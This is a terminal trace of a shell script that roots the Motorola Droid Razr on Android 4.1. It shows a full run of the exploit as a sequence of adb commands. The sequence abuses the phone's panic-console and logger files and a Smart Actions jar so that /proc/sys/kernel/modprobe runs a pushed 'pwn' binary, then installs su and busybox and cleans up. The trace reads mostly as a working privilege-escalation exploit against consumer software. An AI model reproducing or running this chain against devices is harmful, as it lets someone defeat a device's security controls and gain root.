macosx% ./razr_blade-x.sh + chmod +x ./files/adb + ./files/adb kill-server + ./files/adb start-server * daemon not running. starting it now on port 5037 * * daemon started successfully * + : + : '[*]' + : '[*] Razr Blade: Motorola Droid Razr 4.1 Root Exploit (Windows version)' + : '[*] by Dan Rosenberg (@djrbliss)' + : '[*]' + : '[*] Thanks to p3droid for assistance in testing.' + : '[*]' + : '[*] Note: this will not work on Razr HD, Razr M, etc.' + : '[*]' + : '[*] Before continuing, ensure USB debugging is enabled, that you' + : '[*] have the latest Motorola drivers installed, and that your phone' + : '[*] is connected via USB.' + : '[*]' + : '[*] Please carefully follow any instructions provided in the exploit.' + : '[*]' + sleep 10 + : + : '[*] Press enter to root your phone...' + : + read + : + : '[*] Checking for device...' + : + ./files/adb devices List of devices attached + : + : '[*] Press enter if a device was listed ...' + : + read ^C macosx% macosx% ./razr_blade-x.sh + chmod +x ./files/adb + ./files/adb kill-server + ./files/adb start-server * daemon not running. starting it now on port 5037 * * daemon started successfully * + : + : '[*]' + : '[*] Razr Blade: Motorola Droid Razr 4.1 Root Exploit (Windows version)' + : '[*] by Dan Rosenberg (@djrbliss)' + : '[*]' + : '[*] Thanks to p3droid for assistance in testing.' + : '[*]' + : '[*] Note: this will not work on Razr HD, Razr M, etc.' + : '[*]' + : '[*] Before continuing, ensure USB debugging is enabled, that you' + : '[*] have the latest Motorola drivers installed, and that your phone' + : '[*] is connected via USB.' + : '[*]' + : '[*] Please carefully follow any instructions provided in the exploit.' + : '[*]' + sleep 10 + : + : '[*] Press enter to root your phone...' + : + read + : + : '[*] Checking for device...' + : + ./files/adb devices List of devices attached 0Axxx.....xxx01A device + : + : '[*] Press enter if a device was listed ...' + : + read + : + : '[*] Phase one...' + : + ./files/adb shell 'rm /data/dontpanic/apanic_console 2>/dev/null' + ./files/adb shell 'ln /data/data/com.motorola.contextual.fw/files/DataClearJarDex.jar /data/dontpanic/apanic_console' + : + : '[*] Rebooting device...' + : + ./files/adb reboot + : + : '[*] Waiting for phone to reboot.' + : + ./files/adb wait-for-device + : + : '[*] Phase two...' + : + ./files/adb shell 'cat /data/data/com.motorola.contextual.fw/files/DataClearJarDex.jar > /data/local/tmp/DataClearJarDex.jar.bak' + : + : '[*] Complete the following steps on your device:' + : '[*] 1. Open the Smart Actions application.' + : '[*] 2. Select Get' Started. + : '[*] 3. Select Battery' Saver. + : '[*] 4. Select Save.' + : '[*] 5. Press the Home button.' + : '[*]' + : '[*] Press enter here once you have completed the above steps.' + : + read + ./files/adb shell 'sleep 5' + ./files/adb push ./files/pwn.jar /data/local/tmp/pwn.jar 729 KB/s (3477 bytes in 0.004s) + ./files/adb shell 'cat /data/local/tmp/pwn.jar > /data/data/com.motorola.contextual.fw/files/DataClearJarDex.jar' + : + : '[*] Rebooting device...' + : + ./files/adb reboot + : + : '[*] Waiting for phone to reboot.' + : + ./files/adb wait-for-device + : + : '[*] Phase three (this will take a minute)...' + : + ./files/adb shell 'sleep 40' + ./files/adb shell 'mv /data/logger /data/logger.bak' + ./files/adb shell 'mkdir /data/logger' + ./files/adb shell 'chmod 777 /data/logger' + ./files/adb shell 'rm /data/logger/last_apanic_console 2>/dev/null' + ./files/adb shell 'ln -s /proc/sys/kernel/modprobe /data/logger/last_apanic_console' + ./files/adb shell 'rm /data/dontpanic/apanic_console 2>/dev/null' + ./files/adb shell 'echo /data/local/tmp/pwn > /data/dontpanic/apanic_console' + : + : '[*] Rebooting device...' + : + ./files/adb reboot + : + : '[*] Waiting for phone to reboot.' + : + ./files/adb wait-for-device + : + : '[*] Phase four...' + : + ./files/adb push ./files/su /data/local/tmp 2489 KB/s (91992 bytes in 0.036s) + ./files/adb push ./files/busybox /data/local/tmp 3617 KB/s (1867568 bytes in 0.504s) + ./files/adb push ./files/Superuser.apk /data/local/tmp 3792 KB/s (574184 bytes in 0.147s) + ./files/adb push ./files/pwn /data/local/tmp 2971 KB/s (63838 bytes in 0.020s) + ./files/adb shell 'chmod 755 /data/local/tmp/pwn' + ./files/adb shell '/data/local/tmp/pwn trigger' + : + : '[*] Cleaning up...' + : + ./files/adb shell 'rm /data/dontpanic/* 2>/dev/null' + ./files/adb shell 'rm /data/local/tmp/su 2>/dev/null' + ./files/adb shell 'rm /data/local/tmp/Superuser.apk 2>/dev/null' + ./files/adb shell 'rm /data/local/tmp/busybox 2>/dev/null' + ./files/adb shell 'rm /data/local/tmp/pwn 2>/dev/null' + ./files/adb shell 'su -c '\''rm -r /data/logger'\'' 2>/dev/null' + ./files/adb shell 'su -c '\''mv /data/logger.bak /data/logger'\''' + ./files/adb shell 'cat /data/local/tmp/DataClearJarDex.jar.bak > /data/data/com.motorola.contextual.fw/files/DataClearJarDex.jar' + ./files/adb shell 'rm /data/local/tmp/pwn.jar 2>/dev/null' + ./files/adb shell 'rm /data/local/tmp/DataClearJarDex.jar.bak 2>/dev/null' + : + : '[*] Rebooting...' + : + ./files/adb reboot + ./files/adb wait-for-device + : + : '[*] Exploit complete!' + : '[*] Press any key to exit.' + : + ./files/adb kill-server + read macosx%